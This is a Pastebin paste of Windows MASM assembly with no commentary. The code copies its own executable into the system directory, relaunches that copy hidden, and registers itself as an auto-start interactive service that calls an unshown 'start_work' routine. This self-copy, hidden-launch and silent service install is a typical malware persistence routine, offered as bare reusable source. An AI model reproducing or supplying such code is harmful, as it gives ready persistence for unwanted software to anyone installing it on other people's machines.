Guest User

Untitled

a guest
Aug 6th, 2010
408
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .data
  2. fPaused BOOL FALSE
  3. fRunning BOOL FALSE
  4. .data?
  5. exitEvent   dd  ?
  6. hWinMain    dd  ?
  7. schSCManager dd ?
  8. szFileName              db      MAX_PATH+1 dup(?)
  9. stSS        SERVICE_STATUS  <>
  10. hStatus DWORD ?
  11. sTable SERVICE_TABLE_ENTRY <>
  12. sTable2 SERVICE_TABLE_ENTRY <>
  13. hInstance HINSTANCE ?
  14. hThread HANDLE ?
  15. evTerminate HANDLE ?
  16.  
  17. .code
  18. IsInstalledService proc
  19.  
  20.         invoke  OpenSCManager, NULL, NULL, SC_MANAGER_ALL_ACCESS
  21.         mov     schSCManager, eax
  22.         .IF     !eax
  23.                 ret
  24.         .ENDIF
  25.         invoke  OpenService, schSCManager, offset szServiceName, DELETE
  26.         .IF     eax
  27.                 invoke  CloseServiceHandle, eax
  28.                 push    1
  29.         .ELSE
  30.                 push    0
  31.         .ENDIF
  32.         invoke  CloseServiceHandle, schSCManager
  33.         pop     eax
  34.         ret
  35. IsInstalledService endp
  36.  
  37. InstallService  proc
  38.         invoke  OpenSCManager, NULL, NULL, SC_MANAGER_ALL_ACCESS
  39.         mov     schSCManager, eax
  40.         .IF     !eax
  41.                 ret
  42.         .ENDIF
  43.  invoke  GetModuleFileName, 0, addr szFileName, MAX_PATH
  44.         invoke  CreateService,schSCManager,addr szServiceName,addr szDisplayName,\
  45.             SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,\
  46.             SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,addr szFileName,\
  47.             NULL,NULL,NULL,NULL,NULL
  48.         .IF     eax
  49.                 push    eax
  50.                 invoke  StartService, eax, NULL, NULL
  51.                 call    CloseServiceHandle
  52.         .ENDIF
  53.         invoke  CloseServiceHandle, schSCManager
  54.         ret
  55. InstallService  endp
  56. InitService Proc
  57.   LOCAL id:DWORD
  58.   mov fRunning, TRUE
  59.   mov eax, 1
  60.   ret
  61. InitService EndP
  62.  
  63. ResumeService Proc
  64.   mov fPaused, FALSE
  65.   invoke ResumeThread, hThread
  66.   ret
  67. ResumeService EndP
  68.  
  69. PauseService Proc
  70.   mov fPaused, TRUE
  71.   invoke SuspendThread, hThread
  72.   ret
  73. PauseService EndP
  74.  
  75. StopServiceStatus Proc
  76.   mov fRunning, FALSE
  77.  
  78.   invoke SendMessage,hWinMain,WM_CLOSE,0,0
  79.   invoke SetEvent, evTerminate
  80.   ret
  81. StopServiceStatus EndP
  82.  
  83. CtrlHandler Proc controlCode1:DWORD
  84.   LOCAL currentState:DWORD
  85.   LOCAL success:BOOL
  86.  
  87.   mov currentState, 0
  88.   mov eax, controlCode1
  89.  
  90.   .if ( eax == SERVICE_CONTROL_STOP )
  91.     SendSvcState SERVICE_STOP_PENDING
  92.     call StopServiceStatus
  93.     SendSvcState SERVICE_STOPPED
  94.   .elseif ( eax == SERVICE_CONTROL_PAUSE )
  95.     .if ( fRunning != FALSE && fPaused == FALSE )
  96.         SendSvcState SERVICE_PAUSE_PENDING
  97.  
  98.         call PauseService
  99.      
  100.         SendSvcState SERVICE_PAUSED
  101.     .endif
  102.  
  103.   .elseif ( eax == SERVICE_CONTROL_CONTINUE )
  104.     .if ( fRunning != FALSE && fPaused == TRUE )
  105.         SendSvcState SERVICE_CONTINUE_PENDING
  106.  
  107.         call ResumeService
  108.  
  109.         SendSvcState SERVICE_RUNNING
  110.     .endif
  111.  
  112.   .elseif ( eax == SERVICE_CONTROL_INTERROGATE )
  113.   .elseif ( eax == SERVICE_CONTROL_SHUTDOWN )
  114.   .endif
  115.   ret
  116. CtrlHandler EndP
  117.  
  118. ServiceMain Proc argc:DWORD, argv:DWORD
  119.  
  120.     invoke  RegisterServiceCtrlHandler,addr szServiceName,offset CtrlHandler
  121.     mov hStatus, eax
  122.     mov stSS.dwServiceType,SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS
  123.     mov stSS.dwControlsAccepted,SERVICE_ACCEPT_STOP
  124.     mov stSS.dwWin32ExitCode,NO_ERROR
  125.     mov stSS.dwWaitHint,3000
  126.     SendSvcState SERVICE_START_PENDING
  127.   call InitService
  128.   SendSvcState SERVICE_RUNNING
  129.   invoke  start_work
  130.   ret
  131. ServiceMain EndP
  132.  
  133. Runsvc proc
  134.         invoke  GetSystemDirectory, offset lpBuf1, MAX_PATH+1
  135.  
  136.         invoke  GetModuleFileName, NULL, offset lpBuf2, MAX_PATH+1
  137.  
  138.  
  139.         invoke  lstrcat, offset lpBuf1, offset exename
  140.  
  141.         invoke  lstrcmp, offset lpBuf1, offset lpBuf2
  142.         test    eax, eax
  143.         jz      @ret
  144.  
  145.         invoke  CopyFile, offset lpBuf2, offset lpBuf1, 0
  146.         test    eax, eax
  147.         jz      @exit
  148.  
  149.         invoke  lstrlen, offset lpBuf1
  150.  
  151. @@:
  152.         invoke  ShellExecute, 0, offset szTextOpen, offset lpBuf1, 0, 0, SW_HIDE
  153.  
  154. @exit:
  155.         invoke  ExitProcess, 0
  156. @ret:
  157.     invoke  IsInstalledService
  158.     .IF     !eax
  159.         invoke  InstallService
  160.     .ENDIF
  161.   mov sTable.lpServiceProc, offset ServiceMain
  162.   mov sTable.lpServiceName, offset szServiceName
  163.   invoke StartServiceCtrlDispatcher, addr sTable
  164.         ret
  165. Runsvc endp
Advertisement
Add Comment
Please, Sign In to add comment